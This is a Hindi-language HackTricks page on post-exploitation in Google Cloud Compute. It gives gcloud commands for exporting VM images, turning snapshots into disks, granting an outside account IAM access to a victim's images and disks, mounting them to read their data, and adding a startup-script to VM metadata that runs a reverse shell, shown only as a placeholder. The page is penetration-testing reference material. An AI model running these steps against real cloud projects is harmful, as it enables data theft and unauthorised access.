GCP - Compute Post Exploitation

HackTricks को समर्थन दें

Compute

Compute और VPC (Networking) के बारे में अधिक जानकारी के लिए देखें:

GCP - Compute Enum

Export & Inspect Images locally

यह एक हमलावर को पहले से मौजूद इमेज में निहित डेटा तक पहुंचने या चल रहे VMs की नई इमेज बनाने और उनके डेटा तक पहुंचने की अनुमति देगा बिना चल रहे VM तक पहुंच के।

एक VM इमेज को एक बकेट में निर्यात करना और फिर इसे डाउनलोड करना और इसे स्थानीय रूप से माउंट करना संभव है इस कमांड के साथ:

gcloud compute images export --destination-uri gs://<bucket-name>/image.vmdk --image imagetest --export-format vmdk
# The download the export from the bucket and mount it locally

इस क्रिया को करने के लिए हमलावर को स्टोरेज बकेट पर विशेषाधिकारों की आवश्यकता हो सकती है और निश्चित रूप से cloudbuild पर विशेषाधिकारों की आवश्यकता होगी क्योंकि यह सेवा है जिसे निर्यात करने के लिए कहा जाएगा। इसके अलावा, इसके काम करने के लिए codebuild SA और compute SA को विशेषाधिकार प्राप्त अनुमतियों की आवश्यकता होती है। cloudbuild SA <project-id>@cloudbuild.gserviceaccount.com को निम्नलिखित की आवश्यकता है:

  • roles/iam.serviceAccountTokenCreator

  • roles/compute.admin

  • roles/iam.serviceAccountUser

और SA <project-id>-compute@developer.gserviceaccount.com को निम्नलिखित की आवश्यकता है:

  • roles/compute.storageAdmin

  • roles/storage.objectAdmin

स्नैपशॉट्स और डिस्क्स को लोकली निर्यात और निरीक्षण करें

स्नैपशॉट्स और डिस्क्स को सीधे निर्यात करना संभव नहीं है, लेकिन यह संभव है कि स्नैपशॉट को डिस्क में, डिस्क को इमेज में बदलें और पिछले अनुभाग का पालन करते हुए, उस इमेज को निर्यात करें ताकि इसे लोकली निरीक्षण किया जा सके।

# Create a Disk from a snapshot
gcloud compute disks create [NEW_DISK_NAME] --source-snapshot=[SNAPSHOT_NAME] --zone=[ZONE]

# Create an image from a disk
gcloud compute images create [IMAGE_NAME] --source-disk=[NEW_DISK_NAME] --source-disk-zone=[ZONE]

एक VM बनाकर एक इमेज का निरीक्षण करें

एक हमलावर द्वारा एक इमेज बनाई गई है या चल रहे VM के अंदर इमेज में संग्रहीत डेटा तक पहुंचने के लक्ष्य के साथ, यह संभव है कि एक बाहरी खाते को इमेज पर पहुंच प्रदान की जाए:

gcloud projects add-iam-policy-binding [SOURCE_PROJECT_ID] \
--member='serviceAccount:[TARGET_PROJECT_SERVICE_ACCOUNT]' \
--role='roles/compute.imageUser'

और फिर इससे एक नया VM बनाएं:

gcloud compute instances create [INSTANCE_NAME] \
--project=[TARGET_PROJECT_ID] \
--zone=[ZONE] \
--image=projects/[SOURCE_PROJECT_ID]/global/images/[IMAGE_NAME]

यदि आप अपने बाहरी खाते को इमेज पर एक्सेस नहीं दे सकते, तो आप पीड़ित के प्रोजेक्ट में उस इमेज का उपयोग करके एक VM लॉन्च कर सकते हैं और मेटाडेटा को रिवर्स शेल निष्पादित करने के लिए इमेज में निम्नलिखित पैरामीटर जोड़ सकते हैं:

--metadata startup-script='#! /bin/bash
echo "hello"; <reverse shell>'

Inspect a Snapshot/Disk attaching it to a VM

डिस्क या स्नैपशॉट में संग्रहीत डेटा तक पहुंचने के लक्ष्य के साथ, आप स्नैपशॉट को डिस्क में बदल सकते हैं, डिस्क को इमेज में बदल सकते हैं और पिछले चरणों का पालन कर सकते हैं।

या आप डिस्क पर बाहरी खाते को एक्सेस प्रदान कर सकते हैं (यदि प्रारंभिक बिंदु स्नैपशॉट है तो स्नैपशॉट पर एक्सेस दें या उससे डिस्क बनाएं):

gcloud projects add-iam-policy-binding [PROJECT_ID] \
--member='user:[USER_EMAIL]' \
--role='roles/compute.storageAdmin'

डिस्क को अटैच करें एक instance पर:

gcloud compute instances attach-disk [INSTANCE_NAME] \
--disk [DISK_NAME] \
--zone [ZONE]

VM के अंदर डिस्क माउंट करें:

  1. VM में SSH करें:

gcloud compute ssh [INSTANCE_NAME] --zone [ZONE]
  1. डिस्क की पहचान करें: VM के अंदर, नई डिस्क की पहचान करें डिस्क डिवाइस को लिस्ट करके। आमतौर पर, आप इसे /dev/sdb, /dev/sdc, आदि के रूप में पा सकते हैं।

  2. डिस्क को फॉर्मेट और माउंट करें (यदि यह एक नई या रॉ डिस्क है):

  • एक माउंट पॉइंट बनाएं:

sudo mkdir -p /mnt/disks/[MOUNT_DIR]
  • डिस्क माउंट करें:

sudo mount -o discard,defaults /dev/[DISK_DEVICE] /mnt/disks/[MOUNT_DIR]

यदि आप snapshot या डिस्क को किसी बाहरी प्रोजेक्ट को एक्सेस नहीं दे सकते, तो आपको snapshot/disk के समान प्रोजेक्ट में एक instance के अंदर ये क्रियाएं करनी पड़ सकती हैं

HackTricks को सपोर्ट करें

Last updated